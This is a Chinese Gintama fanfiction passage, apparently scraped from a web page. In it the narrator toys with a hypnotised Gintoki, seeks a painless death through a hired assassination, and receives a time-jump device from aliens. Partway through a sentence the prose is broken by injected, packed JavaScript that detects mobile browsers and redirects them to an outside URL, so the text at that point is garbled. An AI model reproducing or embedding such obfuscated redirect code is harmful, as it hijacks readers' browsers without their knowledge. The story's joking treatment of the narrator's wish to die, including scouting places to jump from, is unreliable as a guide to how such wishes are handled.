几松习以为常地无视了他们的胡闹,只是告诫不要弄脏料理台便转身去切菜了。 争夺战以桂的落败告终,失去鱼片和青菜的他落寞地垂头看着自己碗里的荞麦面,整个人陷入一片阴影中,看得伊丽莎白有些不忍地伸手探入自己的嘴巴里打算扣出刚才吃掉的东西。 “啊哈……要不,这个给你吧,我还没吃的。”它的动作让我有点想吐,我连忙阻止了这种诡异的行为,大方地把我装着三块厚切牛肉的碗移过去。 那双茶色的大眼瞬间亮起来,桂感动地捧着碗凑过来,“真的可以吗?阿萤你居然会把自己碗里的东西让出来,实在太让人吃惊了!” “没关系,我还有呢。”我笑着把牛肉夹给他。 伊丽莎白看着我们,那双大大的眼睛忽然就盈满泪,白板举起,上头一串的省略号和没有意义的拟声词。 罪恶感无端地席卷我,我默默地把另一片夹到它碗里,白板一转。 【谢谢,阿萤小姐真是个好人。】 靠,我请你吃肉,你给我发卡? “呜呜呜~好好吃,这厚实丰富的口感简直让人热泪盈眶啊~我们好久没吃到这么厚实的肉了~”桂甩着一头柔顺的黑发,眼角有泪。 我叹为观止地看着他们,很想说热泪盈眶会不会是因为这是中辣……而且,我记得桂的通缉令在街边电线杆有看到过,不是说攘夷志士的首领吗?为什么吃个肉都能感动到这个地步?攘夷这件事到底有多没钱途啊! 吃饱之后,桂支着下颌看向我,目光清明而探究,“呐,阿萤,为什么银时说你想死?” 我手一顿,随意地道,“他瞎说,但人总有要死嘛,不过是时间不同而已。” “别开玩笑了,在看到江户的黎明之前,我是不会到地狱去的。阿萤你也一样,我们要一起迎接江户的将来!”桂抱着手环胸,非常坚定地道。 江户的黎明吗?我想起之前研究过的现在的时局,还有我搜索过的关于桂的新闻,忽然有点佩服眼前神情坚毅的男人。 我不愿意认命在这个世界的一半原因就是这个时局太差,人类看不到任何希望,这让我更怀念那个以强大实力保护着国民以及和平的世界。 “呐,假发,我本来就是活在阳光下的,所以我不想要等待黎明。”我放下筷子,看着碗里汤水倒影着那张美丽却陌生的脸孔,轻声道。 我这一代是迎着朝阳出生的,黎明早就被先辈们争取到来了。见过阳光的人,怎么会心甘情愿地沉沦在黑暗里? “不是假发,是桂。是么……”桂的脸色一秒沉重,眼神耿直果敢,“一定是我们的黎明来得太慢了,果然还是要更加努力,不会让你等太久的!” “不,不是这个意思……”我有点无语,根本get不到他眼里那种瞬间被燃点起来的火光是怎么回事。 看吧,不同世界的我们脑子是有代沟的。 “我们店新出了一款饭团哦,我请你们试试。”几松忽然端出几个饭团,恰好打散了我们之间莫名严肃起来的气氛。 “哇,伊丽莎白,那个是我的!”才一错眼,两个饭团已经被夺,桂哇哇叫着扑过去,一脚踢开双手拿着饭团的伊丽莎白。 我看着他们,噗嗤一下笑了起来。江户的黎明光靠他们的话,还真的会太慢哦。 “阿萤你是在取笑我吗?”桂脸蛋浮起一些微红,但抢饭团的动作没有丝毫放慢。 “不,挺好的。能在这个时代保持童心,是十分难能可贵的事啊,假发。”我笑容放柔,撑着腮看着他们玩闹。 “不是假发是桂。” 长屋是江户保留的特色之一,跟那边新区的高楼林立完全不一样的风格。我平时很少走这边,因为据说这边多是贫民,而且很多黑暗事件都发生在这边。 我这样说的时候,桂一脸不认同地摸着下巴,告诉我这边的人大部分都是好人,倒是我住的那条街不太安全。 “真的吗?我还觉得歌舞伎町的大家都挺和善的。”除了那个三七分,但万事屋说那些是纸老虎可以直接开揍……凯瑟琳还说如果有人找我麻烦,去登势酒馆就行了。 “嗯……有银时在那边的话也没问题就是了。”桂摸着下巴想了想,没反驳,“诶,说曹操,曹操便到了,银时。” 今天的坂田银时样子看起来有点呆,尽管平日他也是没精打采,但现在看起来特别的颓废,两眼无神不说,甚至连衣服都穿得松垮垮的,靴都没穿就这样赤着脚满街走。 “你是接了什么急的委托吗?怎么连鞋子都不穿就跑出来了?”我好奇地问道,眼尖地看到他家那只大狗趴在拐角那里探头。 所以他是在遛狗吗?为什么看起来像是被狗溜? 坂田银时没有回答我,只是呆呆地站在原地,任由我们打量。 桂疑惑地凑上去,摸着下巴迟疑了一下,轻咳了两声,“虽说士别三日当刮目相待,但你是不是变得有点奇怪?” “确实有点奇怪……好像乖了很多。”我学着桂的样子摸着下巴绕着坂田银时走了一圈,平日的他懒散归懒散,但眼角眉梢都有种隐约的狂放,而且我赌300块他绝对不会那么好脾气地站着动也不动任我围观。 桂眉目不动,只是嘴角的弧度有一丝极细微的变化,“如果在这里的话也有点那什么……要不,去个能‘坐下’的地方吧。” 是我错觉吗?坐下两个字他的发音明显有些不同。 他话音才落,坂田银时蓦地乖乖蹲下,还是双手规矩地放在地上那种狗狗蹲坐,我吃惊得睁圆了眼。 桂意味深长地瞥了我一眼,随意地道,“虽然有些棘手,但也不能一直呆在这里……” 我合不拢嘴地看着银时像狗听号令一般,把手递给桂,又四肢着地趴着,简直比那头趴在墙角汪汪乱叫的大狗还要狗。 “这,这是怎么回事?他被附身了吗?”我惊奇地问道。 桂环胸抱着手,高居临下地看着银时,眨眨眼朝我笑得天真良善,“难得他这么听话,阿萤要不要试试?” “诶,可以吗?”我跃跃欲试,“那……警察,别动!双手摆头上~” 下一刻,银时顺从地应声蹲下,把手放在头顶。 “阿萤你怎么可以自称警察?那些都是阻碍时代发展的走狗!”桂对这个词很反感,像训小孩般劝道。 我皮皮地笑了,在攘夷志士头子面前玩警察游戏确实不太好,我还是训狗,啊不,是跟银时玩好了。 “啊哈哈,左手,右手,哇~好乖~旋转,跳跃,翻个身~”各种高难度动作他都听话地做了!看他那么配合的样子,我越发玩得起劲,伸手画了个圆。 坂田银时顺着我的手势在地上打了个滚,四肢朝天地扭了扭腰,一副想邀人摸他肚子的姿态。既然他这么大方,我便从善如流的把手伸了过去。 靠,这家伙有腹肌,手感还很结实!我的手随着视线蠢蠢欲动,而躺在地上的人还非常享受地拿他的卷毛蹭了蹭我的脚。 哇哦,好变态……好宽阔的胸……肌…… “果然啊……”桂像是确定了什么般,笑眯眯地鼓励我,“阿萤,要不上点高难度的吧~” “汪呜!” 猛地,墙角的大狗终于按捺不住,跑出来扑向这边。 桂眼神一亮,张开手把大狗一把抱住,连声音都荡漾起来,“哦~是定春殿啊~” 在他对那只名叫定春的大狗上下其手的时候,我弯身细细打量着坂田银时,他的表情十分满足,看起来对这种游戏很是沉浸。 “嘬嘬嘬……”我伸出手逗着他,俯身趴在地上的他马上抬起头,配合地把下巴递到我手,让我挠着他的下巴,还满足地眯起眼蹭着我的手。 这小子平日懒散得一副大叔样,但皮肤的手感意外还不错,下巴也没须根什么的很光滑。 卧槽,他还能以脚来搔头发!身体好柔软啊……难怪西乡先生说他兼职时客人都很捧场! “啊哈哈~好乖……”我的天啊,这副摸样太让人邪恶了。我想要让他跳火圈啊~“呐,假发,别摸狗了,这个更好玩,我们去弄个火圈吧~” 脑子里飞快地生成无数个想法,我一脸期待地望向趴在定春身上的桂。 “汪呜呜呜……” 定春一声夹杂着陶醉的哀鸣后,桂心满意足地从狗狗的肚子上爬起来,朝我摆摆手,“阿萤你不用客气,慢慢玩吧~我还是对肉球感兴趣些~哎呀,真是美妙的一天啊~” 说罢,他便哼着歌离去,头也不回的样子仿佛是怕被发现什么似的。 我看了看瘫在地上看起来还没爽完的定春,再看看趴在我身边蹭着我腿的坂田银时……大狗狗是挺好,但平日我也能撸到啊,驯化坂田银时的机会可不多。 “呐,我们玩什么好呢,是跳火圈还是出去遛弯呀~银时~”我笑容尽可能不那么邪恶地揉着那头银色卷发,嘿嘿地笑道。 坂田银时偏头抬起脸看着我,满足地哼了声,然后蓦地蹦起张手抱了过来。我吓了一跳,差点被他撞倒。 还没来得及推开他,那张脸已在我眼前放大,从张开的嘴里看到两排整齐但好像有蛀牙的牙齿。他顿了一下,双手搭在我肩头,巴眨着眼,像是在考虑哪里下嘴。 然后,我脸蛋一疼。 “混蛋!你咬我的脸!”我震惊得瞳孔都扩张了,这家伙居然咬我脸蛋!疼死了!“你完了,坂田银时,今天你不跳火圈就给老子去跳河!” 我狠狠地抬腿往他□□一踢,趴在我身前的男人浑身一僵,嗷嗷地叫了起来。 “啊呜!”定春像是忽然被刺激到般,一个鲤鱼打挺翻身踢飞了趴在我身前的坂田银时,朝我扑了过来。 “哇啊——”这只狗的体型可是比成人更巨大啊!我被扑得整个人翻倒在地上,后脑磕得生痛,胸腹各种沉重,“定春,你快压死我了!” 定春通晓人性般四肢撑起,低头对着我一阵嗷嗷乱吠,那副气愤的样子仿佛我做了什么十恶不赦的混事。 “死卷毛,快管管你的狗……”这狗的口气差点把我熏晕,我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849821|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得已以手推着它的头求救。 定春浑身一僵,猛地朝前面跑去。我爬起来,才发现坂田银时也不见了。 “搞什么啊?”想想还是有点不放心,当然也有好奇,我连忙跟了上去。 “请你尽情地蹂躏我吧!我现在就是一条渴望你的爱的可怜母狗……” 才刚跑到河堤边,便听到一个女嗓说着非常破格的话,我不由得停下脚步望了过去。眼前的画面几乎亮瞎我的钛合金眼。 紫色长发的漂亮姑娘半倒在地上,捂着脸娇羞地扭着身体,脸上尽是期待与羞意。而蹲在她身前的坂田银时正抬高一腿,把裆部对着她的脸。 “靠……这19禁的画面是怎么回事?”我情不自禁地打开手机摄像头,还没来得及按开始,身后便一阵温热,紧接着头上一疼。 “啊,定春你咬我!” 卧槽,这只大狗居然一口啃上我的头!果然狗跟主人都一样吗?还好没一头血,啊不对,我昨天洗过的头! 我一个手肘向后,定春汪的一下放开,喜感的逗号眉皱成了八字。我顺着它目光看过去,只见坂田银时表情很用力的样子,像是要从某个地方喷出些什么般。 “来吧,我全部都接受!快啊~”长发美女双手捂脸,陶醉得整个人都在轻颤。 场面太震撼,我和定春瞬间陷入一片阴影。 “我说……给我注意一下场合和时间啊混蛋!”我和定春一人一狗飞踢向那边的两人,“就算是下流段子多的世界,也要有个限度啊!这么不和谐的深夜档play怎么可以当街表演啊混蛋!” 定春啊呜一声,以巨型犬只少有的迅速和敏捷一口咬着坂田银时的领子,叼着人就跑了,扬起一片烟尘。 “可恶,居然有人破坏了我和银桑的亲密接触!”紫色长发一甩,神情瞬间正经的姑娘扼腕地站起来,语气遗憾得仿佛错失了什么巨奖。 “够了,这种尺度就算PTA不投诉你们也会被停播的。”我叉着腰没好气地道,“那种当街耍这种play的男人,就是剁成渣渣喂狗都觉得侮辱了狗啊。” 坂田银时平时是没什么节操也没什么正经样,但差劲成这样已经是可以拿去人道毁灭的地步了。虽然方才像狗一样逗弄的时候还是蛮可爱的…… “算了,机会转瞬即逝。下次再抓紧就是了。”恢复正常行为的姑娘托了托眼镜,义正辞严地朝我道,“我的银桑是天下间最有魅力的男人,你这种迷恋肌肉人妖的女人是不会懂的。果然,只有我猿飞菖蒲才是银桑命中注定的女人啊!” 世界玄幻了,坂田银时竟然有这种抖M型疯狂粉丝。 “谁迷恋肌肉人妖啊!”我只是去过几次而已!喷了她一记,我忽然发现她的名字有点熟悉,“诶,猿飞?你就是全藏说的那个善后屋的吗?” 猿飞沉醉的笑容刹那转为正经,“你认识全藏?” “我订过忍忍披萨,他说你们能接危险的委托?”一个绝佳的主意在我脑海里生成。 忍忍披萨那个外送的忍者上次在我家门口被人偷袭然后痔疮爆发,我极度震惊之下帮他买了急救的药膏挽救了他的命根。作为回报,他告诉我一些江户比较特殊的组织,例如善后屋。 “呐呐,你们可以接一个暗杀的委托吗?”打定主意,我期待地看着她,“能让目标不知不觉且毫无痛苦地死掉的委托。” 猿飞低笑一声,甩过飞扬的紫发,脸上的笑容自信而明媚,“这有什么难?只要给出足够的价钱,不管是不知不觉地爆菊还是毫无痛苦的捆绑play都能做到。” “不,我只要安详地死去就行……”我摆摆手,要求非常低。 刚准备跟她细谈,方才烟尘滚滚的方向又传来杂乱的脚步声,我抬头一看,那头叼着人的白色大狗又跑了回来。 “银桑~~你还是舍不得我,要跟我继续玩母狗play吗?来吧~我什么都能接受啊——”猿飞的话还没说完就被一个狗头撞飞。 冲力十足的大狗直接地朝我而来,我话都没来得及说已被抛起,翻身跌在狗背上。 “哇,定春,你搞什么啊?”我手快地圈着定春的脖子稳住身势,它就这样驮着我往回跑。 定春汪汪汪地乱吠一通,边跑边回头瞪我,我竟有一种被它骂了的错觉。 “蠢狗你是在骂我吗?有种你说人话啊混蛋!” 我跟桂的脑子有代沟,跟狗的语言也有隔阂啊! 长这么大,我没试过骑马,但来这个世界我居然骑狗了! 吠了我一路的定春把我丢在登势酒馆的门口,便叼着它的主人往万事屋跑了。 我气闷地拉开门,一眼便看到新八和神乐两人脸色沉重地趴在吧台,而登势淡定地抽着烟。 “怎么了?”我好奇地问道。这两个孩子平时都是元气满满的,这种沉重的表情让人有点沉重……嗯,我在想什么呢。 “阿萤姐……银酱他……”神乐死鱼眼看过来,一副羞于启齿又极度嫌弃的样子。 “都已经跟他说了平时不要吃那么多甜食,糖分过量是会影响身体的,他就是不听……现在终于已经到了这种地步了……”新八抱着头痛苦地低喃。 “所以,他到底是怎么了?”我刚才看到的人还算是正常啊,除了差点当街19禁外……也不对,要不是被我和定春阻止了,还不知道他能干出什么混事。 听完她和新八的嫌弃吐槽后,我顿时冷笑一声,“啊,这种邋遢无耻大小便都不能自理的糖分控蠢货果然应该剁成渣渣丢到宇宙的尽头的啊……” 登势老板娘啊了一声,喷了口烟没反驳。 11.跳舞吧 善后屋拒绝了我! 怎么可以这样,说什么太小儿科的委托他们不接!太没有职业道德了! 身后那种若有若无的视线让人烦躁,想起猿飞脸色奇怪但果断地拒绝我的样子,我忿忿不平地一脚踢飞路边的易拉罐,易拉罐应声飞向一边。 “哎哟!” 痛呼声传来,我抬头便看到东美那张扭曲的脸,“阿萤——” 深紫色的女性和服,唏嘘的须根,形状特别的下巴,妖艳的浓妆,正是人妖酒吧的台柱子之一的东美酱。他捂着额头的包,双眼冒火地踏着重重的步伐走过来。 “呜哇,东美酱,我被女人拒绝了!”我可怜兮兮地拉着他的袖子,控诉猿飞的拒接行为。好不容易找到一个比较适合的死法,没想到第一步就失败了,真的让我挫败。 “别装可怜,我可不是会被女人骗的人妖哦~”东美拍拍我的头当安抚,坚持原则地一指推着我额头。 “太过分了,东美酱,客人心灵的创伤不是应该好好地抚慰的吗?”我来过这里几次,对这些经过战争的男人们从好奇到佩服,跟他们的关系算得上不错。 按照店长西乡的说法,我是少见的对他们没有任何偏见的女人。当然,他的下一句是,能笑着逛人妖店消费的女人也很难归入普通女性里头。 “啊哈哈哈,就是就是,来来来,阿萤,胸肌给你抚……慰哦~”穿着鹅黄色和服,步履娇俏的店员走过来,壮硕的胸肌把和服的衣襟都撑开了。 “啊啦啊啦,太讨厌了,我只是路过又恰好被女人伤了心而已,什么抚慰的也太让人误会了……”我意思意思地拒绝了一下,任他抓着我的手按上他胸肌。 人嘛,来都来了,什么都得尝试一下。这种店在我的世界根本不可能光明正大地存在,我也不可能光顾,如今有这机会,店里头的大家又玩得开,我当然不会错过这种机会。反正,他们都是很善良又有分寸的好人。 昂?我为什么会这么笃定? 因为,我跟人妖们熟起来就是因为店长西乡的儿子……他之前迷路了差点被拐,我恰好考察完跳楼地点,顺手带了回来。这也是为什么西乡对我比较礼遇,大家也不抗拒我来玩的原因之一。 一个能开玩笑又有安全感的地方,我乐得来这边消费。 话说回来,这个店员的胸肌真的很厚实啊……啧,还会动,哦莫~安全感满满,想捏捏。 “混蛋——给老子手脚放干净点啊!” 还没来得及做些什么,身后忽然一阵重击,我整个人被踢进了店员的怀抱,鼻子撞上那厚实的胸肌,疼得我鼻血都飙出来了。 “哪个刁民谋害朕!”我捂着鼻子狠狠地回头,入目的画面让我的表情顿时扭曲为喷笑,“噗哈哈哈哈……” 梳着双马尾的银发卷毛一身粉嫩的樱花纹和服,死鱼眼就算涂着艳丽的眼影也挡不住那颓废懒散的眼神,厚涂的红唇水嘟嘟,脸上的十字路□□泼地蹦着。 “啊?那放肆的笑声是怎么回事啊?”坂田银时抽着唇角抡起拳头,“是在嘲笑阿银吗?” “银时,那明显就是在嘲笑你。”那个在他身后拉着他,一身暗紫色和服,长发梳到一边,浓妆艳抹之下柔媚又人妻的是桂吧?真的是他啊哈哈哈 啊哈哈哈……我笑得直不起身,拍着大腿指着他们无法顺畅地说话。 天啊,笑死我了!早就听西乡说过万事屋有时候会来兼职,但我还是第一次看到这么娇俏妩媚的主角啊哈哈哈……还有桂,那自然又妩媚的姿态完全就沉浸在自己的新皮肤里了。 果然女装都得靠大佬吗啊哈哈哈哈! “够了……给老子闭嘴啊你个肌肉控袭胸狂!” “银时,别冲动啊,阿萤现在是客人啊!” 门口的混乱以我们被扫进店里结束,我大方地抽出票子扬了扬,西乡先生立刻便知道我的意思,果断压着那两人登上舞台给我表演了一场扇子舞蹈,各种娇俏各种灵活。 “哈哈哈哈……”看着那两个狰狞着脸耍着扇子,腰肢却诚实地扭得比女人还要妖娆的男人,我笑倒在座位上拼命捶桌,呼吸都差点缓不过来。 值了,这几张票子真心花的值!那腰肢比其他人的胸肌还要好看哈哈哈哈! 安可,再来一次!姐有的是钱,愿意为他们花! “你够了啊……”一曲结束,坂田银时双目猩红冲过来,喷着火挽起袖子,一脚踩在沙发上威胁道,“再不识相,老子马上就满足你的渴求,把你送到三途川去撑船啊!” “银时,你刚才跳错拍子了……”桂还没说完便被他一拳揍倒,整个头砸进桌子里。 “给老子抓一下重点啊白痴!” “假发!” “不是假发,是桂!”桂猛地抬起头,一脸血地更正道。 被他们这一打断,我总算是缓过来了,笑得太过脸颊都有点酸了。大方地叫了两个果盘赏给他们,我拿餐巾给桂擦了擦额头的血。 “真是的,你们日常都这么凶残的吗?”虽然转个头的功夫已经恢复正常,我还是不太能接受这种血腥的画面。 “能有你凶残?一个女人不去高天原跑来人妖酒吧玩耍,还对我们的店员胸袭……”坂田银时挖着鼻孔,捏了捏手指挖出的物质,看我的眼神像是在看失足少女。 “银时,别胡说,牛郎店也很麻烦的。”桂顺了顺长发,严肃地拒绝他的提议。 牛郎有什么好看的,他们再帅也帅不过我担。 “有你们这样对客人的吗?卷子,你那死鱼眼本大人不满意,赶紧给我睁大精神点,姐可是花钱消费的上帝~”哪有陪酒的对客人那么多意见。 我不满地拿勺子指了指他。 银时死鱼眼更没精神地瞥过来,“少啰嗦,没精神就是小卷子我的特色啊,客人。比起来找人妖的女人,没精神的小卷子没揍死你已经很有职业操守了。” 无法解释我这种根正苗红地长大的人对这里的猎奇心理,我撇撇唇,“我可不想被大小便不能自理的糖分控废柴这样说。” “闭嘴啊!这种恶搞剧情下一话就应该完全翻篇啊,你就不应该记得这种无聊的恶搞日常!”银时一秒炸毛,连两条马尾都竖起来了,他抓着我的脖子使劲地摇晃。 “不好意思,我没有这种设定,这种事太深刻我能记到地狱去。”我挣开他的手,非常严肃地道。 半张脸陷入阴影里头,坂田银时嗓音都低沉了,掐着我的脖子轻柔地道,“啊,这种事根本不需要这样深刻啊白痴……不行了,还是把你送去三途川吧,一个细胞都别给老子留在这个世间。” “我错了,这种漫画两三格就能翻篇的恶搞我已经忘记了,真的。”我正经脸为自己避免这种不光彩的死法。 捂着脸,坂田银时挫败地低头,“……不知道为什么,还是好想掐死你……” 看吧,他果然对我找死很有执念。 我掰开他的手,寻求桂的保护,“假发救我。” “不是假发,是桂。银时,别伤心,反正你也没什么其他值得深刻的点,现在至少有一样阿萤会记得啊。”桂安慰地拍拍他的肩膀,把我拎到边上。 “给老子闭嘴吧你,你以为谁都是你吗?为了弄个深刻的点,不停地重复同一句话,像是念台词的开关一下……这种设定太常见了,就跟那个东京死神每次破案都要来一句‘真相只有一个’这种耍帅的台词一样,一点也不深刻啊。” “怎么会,‘不是假发,是桂’这句话不是耍帅,那是我的标志性台词哦,就跟……”桂甩过长发,眼神坚定地反驳。 “够了,不要水字数了。”我打断他们的交流,咬着雕刻成兔子的苹果,“你们的设定已经很逆天了。” 在这个世界过了这些时日,很多高赞分析我都忘了,但他们的角色魅力确实是每个帖子都肯定的。就是说……我没怎么感受过,沙雕颓废倒是看了个够。 “所以呢,现在男女都不忌了吗?你被哪个女人拒绝了?”坂田银时咬着草莓,懒洋洋地问道。 “你的小母狗。”我摊手,无奈地回道,极快地偏头躲过他炸毛砸过来的葡萄,“啧啧,你的XP真的让我震惊。” “你那是什么眼神,阿银跟那个抖M女一点关系也没有啊!”被我明显的眼神刺激到某条神经,坂田银时不爽地怒指。 “没错,阿萤,他的关系虽然很乱,但都是没结果的。”桂抬起吃得嘴角都是西瓜汁的脸,替好友说了句话。 这是什么好事情吗?我无语。 “啊啊……烦死了,你们两个凑一起准没好事,都滚去三途川算了。”银时甩了甩插着水果的签子,连揍桂的意愿都没了,只考虑该刺进哪里能让我们一击毙命。 “拒绝才正常啊,找死这样的委托,稍微有点脑子都觉得不对劲。你啊……要死就切腹去吧,别搞这么多了。还是说你根本就不想死,不过是弄个设定好让人记得罢了?哎~不用搞这么多事嘛,你只要立个遗嘱把财产都留给阿银,我让新八给你摸摸哦~回去我就让他练练现在还没有的胸肌。” 我鄙夷地看着他,新八知道你这样随意地把他卖了吗?“我确实不想死,说过了吧,我只是想结束这一切。” 尽管到目前为止,这个世界给我带来许多欢乐,几乎让我解放天性,但这个时代背景是黑暗的,我只要想到这些就觉得抗拒。我怀念那个强大的祖国,那个稳定而有希望的社会,甚至我那基本可以确定平凡安稳的人生。 眼前的两人在争最后一个草莓,像孩子一样,但我又不是无知的小姑娘,职业经历让我能看得比表面多一些。这两人的眼角眉梢都染着一缕不应该属于这个年纪的沧桑与深刻的哀伤,那是再无赖的打闹都掩不去的,在某个回眸瞬间便会倾泻而出。 这些不需要分析作为外挂,我都能感受到。他们……或者说他们的人生,并不轻松,但他们却依然直面,确实显得我这种想要结束这个世界生命的人有些不识好歹。 “喂,魂归来啊,你在看什么啊?眼都发直了……”坂田银时伸手在我眼前挥了挥。 “阿萤,你是在担心门口跟踪你的那些东西吗?”桂拍拍我的肩膀,“不用担心,我刚才已经让在门口派传单的伊丽莎白把他们都打跑了。” 诶?我惊讶地看着他们。 没错,我拐入人妖酒吧就是因为半路发现有奇怪的视线在追逐我……他们,是什么时候注意到?还帮我处理了这些跟踪的人? “你到底在外面惹什么风流债了啊?跟踪狂都出现了。”坂田银时没好气地指着我,双马尾晃了晃,“就说让你规矩些,找死就算了,别找麻烦嘛。” “那些好像是天人,你是惹到什么奇怪的人了吗?上次拉面店的人吗?”桂像是掌握了什么信息般,摸着下巴思考。 我愣了一下,仿佛才认识这两个人般。明明一直在胡闹,怎么忽然变得靠谱起来? 好像从离开吉原开始,命运走向就无意识地让我往他们靠近……可是,登势是日轮介绍的,我只是找万事屋帮忙过一次而已,怎么就熟悉起来的? 眼前的两人支着下颌看着我,一无神一正派的眼眸倒影着我的身影,眸底均有一抹浅浅的担忧。 他们……为什么好像跟我很熟一样?是他们的设定本来如此平易近人和爱管闲事吗?但我好像也完全没有意识抗拒这里的人的接近。 “喂喂,你在发什么呆啊?脑子还在吗?”坂田银时忍不住伸出食指戳了戳我额头,“这次是惹到了什么奇奇怪怪的天人啊?说出来让阿银开开眼界嘛。” “别这样,银时,阿萤一定是很害怕才会想死的。我们应该帮助她,而不是让她一个人面对。”桂笑得温柔,衬得那妩媚的外表更加成熟吸引。 我回过神,笑着拍开他的手,“别傻了,我什么都没做。我也不知道那些是什么人,但应该没什么危险。等我搞清楚后,如果有需要,我会找万事屋的。” 两人微愣,银时旋即咧出一个奸诈的笑容,指着我道,“给你打个八折哦~” 桂换好衣服后便坚持要送我回家,可惜出门没多久就看到一群穿着黑色真选组制服的男人们拿着刀吹着哨子在那大喊‘发现桂小太郎’什么的。一秒进入状态的桂朝我比了个手势便跟伊丽莎白杀出重围了,那背影潇洒又自信。 离开那一场混乱,我买了一堆零食打算宅几天再研究怎么安详地去死。 打开电视,我高价买的宽屏彩电竟然变成黑白画面了,还是那种里头只有一口井的黑白画面。 咬着薯片的嘴角抽了抽,我无语地看着里头井口慢慢冒出一个头。 鬼和恐怖片我都不害怕,尤其是在这个世界,因为这压根就不是一个恐怖片的世界。 在我淡定的视线中,一个白乎乎圆滚滚的头颅从电视屏幕探出来,我放下薯片走过去,一脚把那个头颅踩进电视里头。 慢条斯理地收回脚,我坐回沙发上,准备转个台。屏幕里头那个头颅又开始探出来,我叹口气,走过去。 “别别别,别踩了!”那个头颅忽然惊恐地发出声音。 半响后,两个浑身包裹着连体白色衣服的男人从电视里头爬出来,外表跟N年前电视 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赔罪?我警惕着他们,慢慢退往玄关,“我不记得你们得罪过我。” 胖一点的天人拿出一个六边型的球状物体,上头的液晶屏都是数字,“是这样的,我们特莱姆星球近年一直在进行时间次序实验,但上次在吉原的时候不小心按错了时间机器……” 等等,吉原?时间?我拉开门的动作一顿,慢慢地从身后拿出菜刀,表情一片阴影地迈步走向他们,声音低沉,“给老娘,从头到尾好好地说清楚……不然,杀了你们哦~” 我抬起头,笑容跟某个曾威胁我的小哥高度一致。刀刃的寒光一闪而过,那两个穿得像婴儿的天人啪的一下跪在我面前,语无伦次地把他们做的混事老实道来。 他们在吉原喝花酒的时候,一时酒气上头,把随身带着的时间跳跃机器乱按了一通……时间跳跃机器跟飞船的控制器产生了磁场效应,然后某一个时间点不断被重复了好几次。当他们酒醒后,吉原已经变了天,他们也不敢逗留便溜走了。 原本想着时间次序没问题就算了,没想到控制器出现了异常,时间机器根本无法修好,他们也离不开地球。追查原因后发现变异磁场期间有人身上出现了时空跳跃的迹象,他们找了好久才锁定我这个一开始就离开吉原的人。 这么离谱的因由听得我一阵心梗……我的考试,我的人生,我死了好几次的经历,我以为是命运的玩笑,结果你们现在跟我说一切都是你们发酒疯的意外? “啊,幻灭吧,果然还是杀掉比较爽,反正这个江户经常有命案,罪名推给那些激进派的攘夷分子就行了。等下让万事屋帮忙收拾……”我抡起菜刀,整个人都不好了。反正是动漫世界,杀人什么的不是什么大事。 “我们可以弥补的!我们就是为了纠正这一切才来这里找您的!”两个天人跪趴在地上,冷汗潺潺地求饶。 “怎么弥补啊?你们以为一切回到那个时间点就行了吗?这种事不用你们我都能做到了!” 我要是只想回到那个存档时间点,直接找神威就行了!我要的是这个吗?我要的是结束这一切回到我自己的世界啊混蛋! “不,不是这样的。如果利用时间机器进行时空跳跃的话,就可能会跟我们飞船的控制器再次产生磁场变异,这跟普通的时间点重复不一样。”眼看着被我揪着摇晃的胖子口吐白沫了,瘦子连忙把老底都交代。 我狠狠地瞪着他,举着菜刀冷哼一声,“还想隐瞒我什么?我对钱以外的耐性都不太好,在我砍死你们之前……一次过说清楚,懂吗?” “是……”瘦子看着倒在眼前的同伴,一头冷汗都不敢擦,“好,好凶残的地球人……” “昂?”我眯起眼,双手环胸高居临下地睥睨着他。 “磁场效应的时候,好像时空出现了一些问题。所以我们才会不断找你,如果你通过我们的时间机器再进行跃动,那可能……这些问题都能得到修正。” 慌乱的心跳此时慢慢平缓,我悄悄松口气,挺直了腰杆坐在沙发上保持逼供的姿态。我当然不敢真的随便砍人,只是之前万事屋带着我接委托的时候,我曾看过坂田银时和神乐卑劣的谈判方式。 他们教我,要占据高位,一开始就要从心理上碾压对方。你越理直气壮,对方就越容易招供。坂田银时是这样告诉我的,简单地说,你越S,对方就M了。那混蛋难得靠谱了一次……我扯了扯背心湿透的睡衣,高傲地翘起二郎腿。 “你们说,这个磁场效应会不会导致空间扭曲?就像平行世界融合什么的?”我隐晦地问出自己的问题。 “应该不会,目前我们知道的只是时间重复了,也许会导致记忆错乱或者被别人的记忆干扰,但空间还没发现有异常。” 我垂眸,掩去眼底思绪。记忆错乱?不对啊,我很清楚我是在考试,是活在三维空间的人……而且我对月见萤所有的过去都没印象。这个世界我最初的记忆就是被挂在吉原那个天花板里头了。 “这个……是我们特别为你制作的时间机器,已经关联了飞船的控制器,只要按下,就会倒数……到时间了,你会再一次进行时间跳跃。”见我没其他问题,瘦子把一个小巧的东西恭敬地奉到我面前。 那是一个非常精致的怀表,就是太小了,我必须很集中才能看清上头的数字……嗯……好像在跳动,按了吗? 看着看着,眼皮越发的重……啊嘞……那些是数字吗? 我眨了眨眼,眼皮一合就无法再睁开。须臾之间,我跌入了无尽的黑暗里,最后的意识是两道嗓音在说着什么。 阳光跳跃在眼皮上,我不适地皱起眉头,翻了个身,不情愿地张开眼。 眼前是客厅的天花板,我眨了眨眼,坐起来。客厅的情况跟平常无异,连宽屏电视机上也在如常播放着结野主播的天气预报,彩色的。 “做梦了吗?”我明明记得昨晚有两个无聊的天人从电视机里头爬出来,然后说了一些什么时间跳跃的话题。摇摇头,胸口晃动的感觉拉扯着我的脖子。 从睡衣里头勾出那条金项链,菖蒲小花的边上,挂着一个小巧的怀表吊坠。我手指捻着那个小小的怀表,“不是梦……真的有天人来过。靠,他们是催眠我了吗?” 怀表太小了,稍微一动都拿不稳,我下意识地用力。 咔哒一下,我表情一僵,不知道是不是我的错觉,怀表里头不是很清晰的数字好像在跳动。 “啊……按了……”我顿时陷入一片阴影里头。 12.大危机 “哇啊,银时,是你帮忙的时候了……” 